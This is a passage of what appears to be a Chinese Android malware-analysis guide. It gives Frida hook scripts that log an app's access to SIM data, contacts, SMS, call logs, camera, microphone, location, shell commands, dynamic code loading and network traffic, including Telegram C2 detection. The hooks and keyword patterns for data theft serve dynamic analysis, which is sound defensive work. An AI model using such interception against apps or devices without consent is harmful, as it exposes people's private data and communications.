    TelephonyManager.getSimSerialNumber.implementation = function() {
        var result = this.getSimSerialNumber();
        console.log("[INFO] getSimSerialNumber() => " + result);
        return result;
    };

    // ===== 3. 联系人/内容提供者查询监控 =====
    console.log("[*] 挂载 ContentResolver 监控...");

    var ContentResolver = Java.use("android.content.ContentResolver");
    ContentResolver.query.overload(
        "android.net.Uri", "[Ljava.lang.String;",
        "java.lang.String", "[Ljava.lang.String;", "java.lang.String"
    ).implementation = function(uri, projection, selection, selectionArgs, sortOrder) {
        var uriStr = uri.toString();
        // 只记录敏感 URI
        if (uriStr.indexOf("contacts") !== -1 ||
            uriStr.indexOf("sms") !== -1 ||
            uriStr.indexOf("call_log") !== -1 ||
            uriStr.indexOf("browser") !== -1) {
            console.log("\n[!!! 敏感数据查询 !!!]");
            console.log("  URI: " + uriStr);
        }
        return this.query(uri, projection, selection, selectionArgs, sortOrder);
    };

    // ===== 4. 文件操作监控 =====
    console.log("[*] 挂载文件操作监控...");

    var FileOutputStream = Java.use("java.io.FileOutputStream");
    FileOutputStream.$init.overload("java.io.File").implementation = function(file) {
        var path = file.getAbsolutePath();
        if (path.indexOf("/sdcard/") !== -1 ||
            path.indexOf("/storage/") !== -1 ||
            path.indexOf(".dex") !== -1 ||
            path.indexOf(".jar") !== -1 ||
            path.indexOf(".so") !== -1) {
            console.log("[FILE WRITE] " + path);
        }
        return this.$init(file);
    };

    // ===== 5. 相机监控 =====
    console.log("[*] 挂载相机监控...");

    try {
        var Camera = Java.use("android.hardware.Camera");
        Camera.open.overload("int").implementation = function(id) {
            console.log("[!!! 相机打开 !!!] CameraId: " + id);
            return this.open(id);
        };
    } catch(e) {}

    // ===== 6. 录音监控 =====
    console.log("[*] 挂载录音监控...");

    try {
        var MediaRecorder = Java.use("android.media.MediaRecorder");
        MediaRecorder.start.implementation = function() {
            console.log("[!!! 录音开始 !!!]");
            console.log("  调用栈:\n" + Java.use("android.util.Log")
                .getStackTraceString(Java.use("java.lang.Exception").$new()));
            return this.start();
        };
    } catch(e) {}

    // ===== 7. 位置信息监控 =====
    console.log("[*] 挂载位置监控...");

    var LocationManager = Java.use("android.location.LocationManager");
    LocationManager.getLastKnownLocation.implementation = function(provider) {
        var loc = this.getLastKnownLocation(provider);
        if (loc !== null) {
            console.log("[!!! 位置获取 !!!] " + loc.getLatitude() +
                        ", " + loc.getLongitude());
        }
        return loc;
    };

    // ===== 8. Runtime.exec 监控 (检测 root 命令执行) =====
    console.log("[*] 挂载命令执行监控...");

    var Runtime = Java.use("java.lang.Runtime");
    Runtime.exec.overload("java.lang.String").implementation = function(cmd) {
        console.log("[EXEC] " + cmd);
        return this.exec(cmd);
    };
    Runtime.exec.overload("[Ljava.lang.String;").implementation = function(cmds) {
        console.log("[EXEC] " + cmds.join(" "));
        return this.exec(cmds);
    };

    // ===== 9. 动态加载监控 =====
    console.log("[*] 挂载动态加载监控...");

    var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
    DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
        console.log("\n[!!! 动态 DEX 加载 !!!]");
        console.log("  DEX 路径: " + dexPath);
        return this.$init(dexPath, optDir, libPath, parent);
    };

    var System = Java.use("java.lang.System");
    System.loadLibrary.implementation = function(libName) {
        console.log("[SO 加载] System.loadLibrary: " + libName);
        return this.loadLibrary(libName);
    };

    console.log("\n[*] 所有监控已就绪，等待恶意行为...\n");
});

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

// network_monitor.js - 网络通信深度监控

Java.perform(function() {

    console.log("[*] 网络通信监控已启动\n");

    // 监控所有 URL 请求
    var URL = Java.use("java.net.URL");
    URL.$init.overload("java.lang.String").implementation = function(url) {
        console.log("[URL] " + url);
        return this.$init(url);
    };

    // 监控 OkHttp 请求和响应
    try {
        // Hook RealCall.execute() 获取完整请求和响应
        var RealCall = Java.use("okhttp3.RealCall");
        RealCall.execute.implementation = function() {
            var request = this.request();
            console.log("\n[OkHttp Request]");
            console.log("  URL: " + request.url());
            console.log("  Method: " + request.method());

            // 打印请求体
            var body = request.body();
            if (body !== null) {
                var Buffer = Java.use("okio.Buffer");
                var buf = Buffer.$new();
                body.writeTo(buf);
                console.log("  Body: " + buf.readUtf8());
            }

            var response = this.execute();

            console.log("[OkHttp Response]");
            console.log("  Code: " + response.code());
            // 注意: 读取响应体会消耗流，需要特殊处理
            // 这里仅记录状态码和头信息

            return response;
        };
    } catch(e) {
        console.log("[-] OkHttp hook 失败 (可能未使用 OkHttp)");
    }

    // 监控 WebSocket 连接 (用于实时 C2 通信)
    try {
        var WebSocketListener = Java.use("okhttp3.WebSocketListener");
        WebSocketListener.onMessage.overload(
            "okhttp3.WebSocket", "java.lang.String"
        ).implementation = function(ws, text) {
            console.log("\n[!!! WebSocket 消息 !!!]");
            console.log("  内容: " + text);
            return this.onMessage(ws, text);
        };
    } catch(e) {}

    // 监控 Telegram Bot API 调用
    var URLConnection = Java.use("java.net.HttpURLConnection");
    URLConnection.connect.implementation = function() {
        var url = this.getURL().toString();
        if (url.indexOf("api.telegram.org") !== -1) {
            console.log("\n[!!! Telegram C2 通信 !!!]");
            console.log("  URL: " + url);
        }
        return this.connect();
    };

    // 监控 DNS 解析
    var InetAddress = Java.use("java.net.InetAddress");
    InetAddress.getByName.implementation = function(host) {
        var result = this.getByName(host);
        console.log("[DNS] " + host + " => " + result.getHostAddress());
        return result;
    };
});